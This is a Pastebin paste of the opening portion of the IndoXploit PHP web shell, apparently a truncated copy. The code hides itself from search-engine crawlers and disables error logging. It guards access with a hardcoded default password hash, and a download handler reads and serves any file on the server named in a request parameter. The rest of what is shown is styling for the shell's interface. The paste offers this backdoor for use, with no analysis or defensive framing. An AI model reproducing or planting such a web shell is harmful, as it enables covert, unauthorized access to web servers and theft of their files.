Advertisement
alif1707

shell

Feb 27th, 2020
512
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 95.64 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "7b4939a8af28c814f0c757bb10f40d3d"; // default: IndoXploit
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21. header('HTTP/1.0 404 Not Found');
  22. exit;
  23. }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <html>
  29. <head>
  30. <title>IndoXploit</title>
  31. <style type="text/css">
  32. html {
  33. margin: 20px auto;
  34. background: #000000;
  35. color: green;
  36. text-align: center;
  37. }
  38. header {
  39. color: green;
  40. margin: 10px auto;
  41. }
  42. input[type=password] {
  43. width: 250px;
  44. height: 25px;
  45. color: red;
  46. background: #000000;
  47. border: 1px dotted green;
  48. padding: 5px;
  49. margin-left: 20px;
  50. text-align: center;
  51. }
  52. </style>
  53. </head>
  54. <center>
  55. <header>
  56. <pre>
  57. ___________________________
  58. < root@indoxploit:~# w00t??? >
  59. ---------------------------
  60. \ , ,
  61. \ /( )`
  62. \ \ \___ / |
  63. /- _ `-/ '
  64. (/\/ \ \ /\
  65. / / | ` \
  66. O O ) / |
  67. `-^--'`< '
  68. (_.) _ ) /
  69. `.___/` /
  70. `-----' /
  71. <----. __ / __ \
  72. <----|====O)))==) \) /====
  73. <----' `--' `.__,' \
  74. | |
  75. \ /
  76. ______( (_ / \______
  77. ,' ,-----' | \
  78. `--{__________) \/
  79.  
  80. </pre>
  81. </header>
  82. <form method="post">
  83. <input type="password" name="pass">
  84. </form>
  85. <?php
  86. exit;
  87. }
  88. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  89. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  90. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  91. else
  92. login_shell();
  93. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  94. @ob_clean();
  95. $file = $_GET['file'];
  96. header('Content-Description: File Transfer');
  97. header('Content-Type: application/octet-stream');
  98. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  99. header('Expires: 0');
  100. header('Cache-Control: must-revalidate');
  101. header('Pragma: public');
  102. header('Content-Length: ' . filesize($file));
  103. readfile($file);
  104. exit;
  105. }
  106. ?>
  107. <html>
  108. <head>
  109. <title>IndoXploit</title>
  110. <meta name='author' content='IndoXploit'>
  111. <meta charset="UTF-8">
  112. <style type='text/css'>
  113. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  114. html {
  115. background: #000000;
  116. color: #ffffff;
  117. font-family: 'Ubuntu';
  118. font-size: 13px;
  119. width: 100%;
  120. }
  121. li {
  122. display: inline;
  123. margin: 5px;
  124. padding: 5px;
  125. }
  126. table, th, td {
  127. border-collapse:collapse;
  128. font-family: Tahoma, Geneva, sans-serif;
  129. background: transparent;
  130. font-family: 'Ubuntu';
  131. font-size: 13px;
  132. }
  133. .table_home, .th_home, .td_home {
  134. border: 1px solid #ffffff;
  135. }
  136. th {
  137. padding: 10px;
  138. }
  139. a {
  140. color: #ffffff;
  141. text-decoration: none;
  142. }
  143. a:hover {
  144. color: gold;
  145. text-decoration: underline;
  146. }
  147. b {
  148. color: gold;
  149. }
  150. input[type=text], input[type=password],input[type=submit] {
  151. background: transparent;
  152. color: #ffffff;
  153. border: 1px solid #ffffff;
  154. margin: 5px auto;
  155. padding-left: 5px;
  156. font-family: 'Ubuntu';
  157. font-size: 13px;
  158. }
  159. textarea {
  160. border: 1px solid #ffffff;
  161. width: 100%;
  162. height: 400px;
  163. padding-left: 5px;
  164. margin: 10px auto;
  165. resize: none;
  166. background: transparent;
  167. color: #ffffff;
  168. font-family: 'Ubuntu';
  169. font-size: 13px;
  170. }
  171. select {
  172. width: 152px;
  173. background: #000000;
  174. color: lime;
  175. border: 1px solid #ffffff;
  176. margin: 5px auto;
  177. padding-left: 5px;
  178. font-family: 'Ubuntu';
  179. font-size: 13px;
  180. }
  181. option:hover {
  182. background: lime;
  183. color: #000000;
  184. }
  185. </style>
  186. </head>
  187. <?php
  188.  
  189. ?>
  190. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement